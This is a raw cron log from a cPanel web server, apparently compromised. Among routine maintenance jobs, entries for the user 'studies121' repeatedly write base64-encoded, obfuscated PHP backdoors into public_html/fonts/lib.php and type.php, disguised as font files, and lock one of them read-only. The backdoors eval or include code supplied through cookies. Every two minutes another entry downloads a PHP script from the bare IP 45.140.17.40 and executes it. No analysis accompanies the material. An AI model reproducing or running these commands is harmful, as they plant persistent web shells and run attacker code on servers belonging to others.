Sep 20 20:11:01 ip-184-168-122-23 CROND[28248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:11:01 ip-184-168-122-23 CROND[28249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:11:01 ip-184-168-122-23 CROND[28246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:12:01 ip-184-168-122-23 CROND[28493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:12:01 ip-184-168-122-23 CROND[28495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:12:01 ip-184-168-122-23 CROND[28496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:12:01 ip-184-168-122-23 CROND[28497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:12:01 ip-184-168-122-23 CROND[28498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:13:01 ip-184-168-122-23 CROND[28749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:13:01 ip-184-168-122-23 CROND[28750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:13:01 ip-184-168-122-23 CROND[28748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:13:01 ip-184-168-122-23 CROND[28751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:14:01 ip-184-168-122-23 CROND[29082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:14:01 ip-184-168-122-23 CROND[29083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:14:01 ip-184-168-122-23 CROND[29086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:14:01 ip-184-168-122-23 CROND[29091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:14:01 ip-184-168-122-23 CROND[29090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:15:01 ip-184-168-122-23 CROND[29578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:15:01 ip-184-168-122-23 CROND[29579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:15:01 ip-184-168-122-23 CROND[29582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:15:01 ip-184-168-122-23 CROND[29583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:15:01 ip-184-168-122-23 CROND[29588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:15:01 ip-184-168-122-23 CROND[29589]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 20:15:01 ip-184-168-122-23 CROND[29590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:16:01 ip-184-168-122-23 CROND[29903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:16:01 ip-184-168-122-23 CROND[29904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:16:01 ip-184-168-122-23 CROND[29909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:16:01 ip-184-168-122-23 CROND[29907]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 20:16:01 ip-184-168-122-23 CROND[29908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:16:01 ip-184-168-122-23 CROND[29910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:17:01 ip-184-168-122-23 CROND[30131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:17:01 ip-184-168-122-23 CROND[30130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:17:01 ip-184-168-122-23 CROND[30132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:17:01 ip-184-168-122-23 CROND[30133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:18:01 ip-184-168-122-23 CROND[30357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:18:02 ip-184-168-122-23 CROND[30359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:18:02 ip-184-168-122-23 CROND[30362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:18:02 ip-184-168-122-23 CROND[30360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:18:02 ip-184-168-122-23 CROND[30361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:19:01 ip-184-168-122-23 CROND[30511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:19:01 ip-184-168-122-23 CROND[30512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:19:01 ip-184-168-122-23 CROND[30513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:19:01 ip-184-168-122-23 CROND[30514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:20:01 ip-184-168-122-23 CROND[30614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:20:01 ip-184-168-122-23 CROND[30622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:20:01 ip-184-168-122-23 CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:21:01 ip-184-168-122-23 CROND[31165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:21:01 ip-184-168-122-23 CROND[31168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:21:01 ip-184-168-122-23 CROND[31167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:21:01 ip-184-168-122-23 CROND[31170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:22:01 ip-184-168-122-23 CROND[31342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:22:01 ip-184-168-122-23 CROND[31343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:22:01 ip-184-168-122-23 CROND[31345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:22:01 ip-184-168-122-23 CROND[31347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:22:01 ip-184-168-122-23 CROND[31348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:23:01 ip-184-168-122-23 CROND[31591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:23:01 ip-184-168-122-23 CROND[31593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:23:01 ip-184-168-122-23 CROND[31595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
